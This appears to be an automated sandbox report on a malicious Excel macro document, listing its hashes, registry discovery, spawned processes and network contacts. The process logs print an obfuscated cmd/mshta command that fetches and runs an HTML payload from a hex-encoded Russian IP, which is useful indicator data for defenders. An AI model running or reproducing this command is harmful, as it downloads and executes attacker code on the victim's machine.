Malware Analysis Report

2025-01-22 16:07

Sample ID 241111-t7s87ssapf
Target 8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683
SHA256 8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683
Tags
discovery macro xlm
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683

Threat Level: Known bad

The file 8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683 was found to be: Known bad.

Malicious Activity Summary

discovery macro xlm

Process spawned unexpected child process

Blocklisted process makes network request

Suspicious Office macro

System Location Discovery: System Language Discovery

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

Modifies Internet Explorer settings

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-11 16:42

Signatures

Suspicious Office macro

macro xlm
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-11 16:42

Reported

2024-11-11 16:44

Platform

win7-20240903-en

Max time kernel

118s

Max time network

119s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\cmd.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A
N/A N/A C:\Windows\SysWOW64\mshta.exe N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\cmd.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2872745919-2748461613-2989606286-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683.xls

C:\Windows\SysWOW64\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l

C:\Windows\SysWOW64\mshta.exe

mshta http://0xb907d607/fer/fe4.html

Network

Country Destination Domain Proto
RU 185.7.214.7:80 tcp
RU 185.7.214.7:80 tcp

Files

memory/2756-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2756-1-0x000000007293D000-0x0000000072948000-memory.dmp

memory/2756-2-0x000000007293D000-0x0000000072948000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-11 16:42

Reported

2024-11-11 16:44

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

143s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SYSTEM32\cmd.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\system32\mshta.exe N/A

Checks processor information in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 1028 wrote to memory of 232 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 1028 wrote to memory of 232 N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE C:\Windows\SYSTEM32\cmd.exe
PID 232 wrote to memory of 2440 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe
PID 232 wrote to memory of 2440 N/A C:\Windows\SYSTEM32\cmd.exe C:\Windows\system32\mshta.exe

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\8987cd0e4d5061c81721f659ab20dc3c2ea365f9c0587e6d3eefedb61064f683.xls"

C:\Windows\SYSTEM32\cmd.exe

cmd /c ms^h^ta ht^tp:/^/0x^b^907d60^7/fe^r/f^e4.h^tm^l

C:\Windows\system32\mshta.exe

mshta http://0xb907d607/fer/fe4.html

Network

Country Destination Domain Proto
US 8.8.8.8:53 roaming.officeapps.live.com udp
NL 52.109.89.19:443 roaming.officeapps.live.com tcp
US 8.8.8.8:53 83.210.23.2.in-addr.arpa udp
US 8.8.8.8:53 13.86.106.20.in-addr.arpa udp
US 8.8.8.8:53 97.32.109.52.in-addr.arpa udp
RU 185.7.214.7:80 tcp
US 8.8.8.8:53 19.89.109.52.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 75.159.190.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 199.111.78.13.in-addr.arpa udp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 198.187.3.20.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
US 8.8.8.8:53 172.214.232.199.in-addr.arpa udp

Files

memory/1028-0-0x00007FFF8E58D000-0x00007FFF8E58E000-memory.dmp

memory/1028-1-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

memory/1028-2-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

memory/1028-3-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

memory/1028-4-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-5-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-7-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

memory/1028-8-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-6-0x00007FFF4E570000-0x00007FFF4E580000-memory.dmp

memory/1028-11-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-10-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-9-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-12-0x00007FFF4BE50000-0x00007FFF4BE60000-memory.dmp

memory/1028-14-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-13-0x00007FFF4BE50000-0x00007FFF4BE60000-memory.dmp

memory/1028-16-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-15-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-27-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

memory/1028-28-0x00007FFF8E58D000-0x00007FFF8E58E000-memory.dmp

memory/1028-29-0x00007FFF8E4F0000-0x00007FFF8E6E5000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 c6c8a00d82d45de26c8341fce901686d
SHA1 780bedda17cd9b822b448c3a08202b403bcf18f0
SHA256 c1944ba06e63d9831a4c5a667df26a5b99491e9559a8107827fb963ce6deab24
SHA512 8c6c38feab33206ad9fd1c0289251fa6712673f3974d797e26cf828c77998f1779abda9c42eb02b3a3422da5b4c5726d2308b2ab6797f92506d20bb855ee8bfe